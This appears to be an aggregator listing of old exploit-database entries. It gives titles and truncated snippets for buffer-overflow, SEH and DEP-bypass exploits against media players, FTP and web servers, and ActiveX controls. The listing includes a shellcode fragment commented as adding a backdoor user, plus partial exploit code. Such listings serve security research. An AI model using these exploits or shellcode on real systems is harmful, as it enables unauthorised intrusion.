Nokia MultiMedia Player 1.0 - Local Overflow (SEH Unicode)

Nokia MultiMedia Player 1.0 - Local Overflow SEH Unicode Exploit Title: Nokia Multimedia player SEH Unicode Date: January 11 2011 Author: Carlos Mario Penagos Hollmann Software Link: http://www.brothersoft.com/nokia-multimedia-player-download-46238.html Version: 1.00.55.5010 Tested on: Windows xp...

Solar FTP Server 2.1 Buffer Overflow

------------------------------------------------------------------------ Software................Solar FTP Server 2.1 Vulnerability...........Buffer Overflow Download................http://www.solarftp.com/ Release Date............1/10/2011 Tested On...............Windows XP SP3 EN...

MS10-081: Windows Common Control Library (Comctl32) Heap Overflow

Exploit for windows platform in category remote exploits !/usr/bin/env ruby http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept Nephi Johnson require 'socket' def httpsendsock, data, opts= defaults = :code="200", :message="OK", :type="text/html", :desc="content...

Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit (SEH)

Exploit for windows platform in category local exploits !/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by fdisk This POC was...

Winamp 5.5.8 Stack Overflow

!/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by fdisk This POC was already been released here without proper shellcode:...

Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow (SEH)

!/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by @fdiskyou e-mail: rui at deniable.org This POC was already been released here...

Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow (SEH)

Winamp 5.5.8 inmod plugin - Local Stack Overflow SEH !/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by @fdiskyou e-mail: rui at...

BS.Player 2.57 Buffer Overflow

+Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57UNICODE-SEH +Date: 01\07\2010 +Author: C4SS!0 G0M3S +Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2 +Version: 2.57 +Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN +CVE: N/A / Created By C4SS!0 G0M3S...

Enzip 3.00 - Local Buffer Overflow

Enzip 3.00 - Local Buffer Overflow +Exploit Title: Exploit Buffer Overflow Enzip 3.00 +Date: 01\06\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.bcuc.ac.uk/files/enzip300.exe +Version: 3.00 +Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN +CVE: N/A Create BY C4SS!0 G0M3S [email protected]...

CoolPlayer 2.18 DEP Bypass

Exploit for windows platform in category local exploits Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-...

CoolPlayer 2.18 - DEP Bypass

CoolPlayer 2.18 - DEP Bypass Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-DB Notes: May not work on a...

Bywifi 2.8.1 Stack Buffer Overflow

Exploit Title: bywifi 2.8.1 stack buffer overflow Author: Anonymous Software Link: bywifi.com Version: 2.8.1 Tested on: windows xp Professional French CVE : N/a include include include int main //file name char exploit700="bywifi.exe "; //ret addr char ret = "x5D\x38\x82\x7C"; //junk data char...

CoolPlayer 2.18 - DEP Bypass

Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-DB Notes: May not work on all Win XP SP3 machines print...

Bywifi 2.8.1 - Local Stack Buffer Overflow

Bywifi 2.8.1 - Local Stack Buffer Overflow / Exploit Title: bywifi 2.8.1 stack buffer overflow Author: Anonymous Software Link: bywifi.com Version: 2.8.1 Tested on: windows xp Professional French CVE : N/a / include include include int main //file name char exploit700="bywifi.exe "; //ret addr ch...

HP Photo Creative 2.x audio.Record.1 - ActiveX Control Remote Stack Buffer Overflow

//add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

w32 speaking shellcode

w32 speaking shellcode. Shellcode exploit for windows platform A null-free shellcode for 32-bit versions of Windows 5.0-7.0 all service packs that uses Microsoft Speech API to say "You got pwned!" over the speakers. Includes optional code that fixes stack alignment adds 5 bytes and bypasses EAF...

Kolibri v2.0 Buffer Overflow RET + SEH exploit (HEAD)

Exploit for windows platform in category remote exploits !/usr/bin/env python / / / / / // | / // \ | / / / / / /// / / / / / / / // / / / |/ / // / , / / // / / / / / //// //|///||/,/ / /// Live by the byte |// Members: Pr0T3cT10n -=M.o.B.=- TheLeader gsog2009 a7 homtail d0t com Sro Debug...

Kolibri-Server

Kolibri v2.0 is vulnerable to a remote buffer overflow attack. By sending a malformed HEAD request, we are able to overwrite both the return address and an SEH handler. Null bytes terminate the request though, but we are able to partially overwrite with a pointer to a POP + POP + RET instruction...

Microsoft WMITOOLS remote code execution vulnerability-vulnerability warning-the black bar safety net

| Microsoft WMITOOLS there is a remote code execution vulnerability,an attacker can directly control a call address,let the program Go directly to our in the memory has a good layout of the shellcode. Official address:...

微软WMITOOLS ActiveX 远程代码执行漏洞

微软提供的WMITOOLS存在一个远程代码执行漏洞,攻击者可以直接控制一个调用地址,让程序直接走到我们在内存中已经布置好的shellcode上. 官方地址: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314&displaylang=en 漏洞出在WBEMSingleView.ocx的AddContextRef方法上. id0x00000018, helpstring"Increment Context Ref Count" long...